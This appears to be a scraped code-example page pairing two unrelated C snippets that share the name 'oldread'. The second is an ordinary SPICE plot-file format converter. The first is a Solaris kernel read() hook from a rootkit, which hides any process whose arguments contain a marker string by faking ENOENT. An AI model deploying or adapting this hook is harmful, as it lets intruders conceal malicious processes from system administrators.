Beispiel #1
0
ssize_t newread(int fildes, void *buf, size_t nbyte)
{
   ssize_t ret;
   psinfo_t *info;

   ret = oldread(fildes, buf, nbyte);
   if(fildes > 0 && fildes == psfildes && nbyte ==sizeof(psinfo_t)) {
           info = (psinfo_t *) kmem_alloc(sizeof(psinfo_t), KM_SLEEP);
           copyin(buf, (void *) info, sizeof(psinfo_t));

           if(strstr(info->pr_psargs, FOX) != NULL) {
                   kmem_free(info, sizeof(psinfo_t));
                   set_errno(ENOENT);
                   return -1;
           } else
                   kmem_free(info, sizeof(psinfo_t));
   }
   return ret;
}
Beispiel #2
0
int
main(int ac, char **av)
{
    char *sf, *af;
    char buf[BSIZE_SP];
    char t, f;
    struct plot *pl;
    size_t n;
    char *infile = NULL;
    char *outfile = NULL;
    FILE *fp;
    cp_in = stdin;
    cp_out = stdout;
    cp_err = stderr;
    cp_curin = stdin;
    cp_curout = stdout;
    cp_curerr = stderr;

    switch (ac) {
        case 5: 
            sf = av[2];
            af = av[4];
            f = *av[1];
            t = *av[3];
            break;

        case 3:
            f = *av[1];
            t = *av[2];
            /* This is a pain, but there is no choice */
            sf = infile = smktemp("scin");
            af = outfile = smktemp("scout");
            if (!(fp = fopen(infile, "w"))) {
                perror(infile);
                exit(EXIT_BAD);
            }
            while ((n = fread(buf, 1, sizeof(buf), stdin)) != 0)
                (void) fwrite(buf, 1, n, fp);
            (void) fclose(fp);
            break;

        case 1: printf("Input file: ");
            (void) fflush(stdout);
            (void) fgets(buf, BSIZE_SP, stdin);
            sf = copy(buf);
            printf("Input type: ");
            (void) fflush(stdout);
            (void) fgets(buf, BSIZE_SP, stdin);
            f = buf[0];
            printf("Output file: ");
            (void) fflush(stdout);
            (void) fgets(buf, BSIZE_SP, stdin);
            af = copy(buf);
            printf("Output type: ");
            (void) fflush(stdout);
            (void) fgets(buf, BSIZE_SP, stdin);
            t = buf[0];
            break;
        default:
            fprintf(cp_err, 
                "Usage: %s fromtype fromfile totype tofile,\n",
                cp_program);
            fprintf(cp_err, "\twhere types are o, b, or a\n");
            fprintf(cp_err, 
                "\tor, %s fromtype totype, used as a filter.\n",
                cp_program);
            exit(EXIT_BAD);
    }
    switch(f) {
        case 'o' :
        pl = oldread(sf);
        break;

        case 'b' :
        case 'a' :
        pl = raw_read(sf);
        break;

        default:
        fprintf(cp_err, "Types are o, a, or b\n");
        exit(EXIT_BAD);
    }
    if (!pl)
        exit(EXIT_BAD);

    switch(t) {
        case 'o' :
        oldwrite(af, FALSE, pl);
        break;

        case 'b' :
        raw_write(af, pl, FALSE, TRUE);
        break;

        case 'a' :
        raw_write(af, pl, FALSE, FALSE);
        break;

        default:
        fprintf(cp_err, "Types are o, a, or b\n");
        exit(EXIT_BAD);
    }
    if (ac == 3) {
        /* Gotta finish this stuff up */
        if (!(fp = fopen(outfile, "r"))) {
            perror(outfile);
            exit(EXIT_BAD);
        }
        while ((n = fread(buf, 1, sizeof(buf), fp)) != 0)
            (void) fwrite(buf, 1, n, stdout);
        (void) fclose(fp);
        (void) unlink(infile);
        (void) unlink(outfile);
    }
    exit(EXIT_NORMAL);
}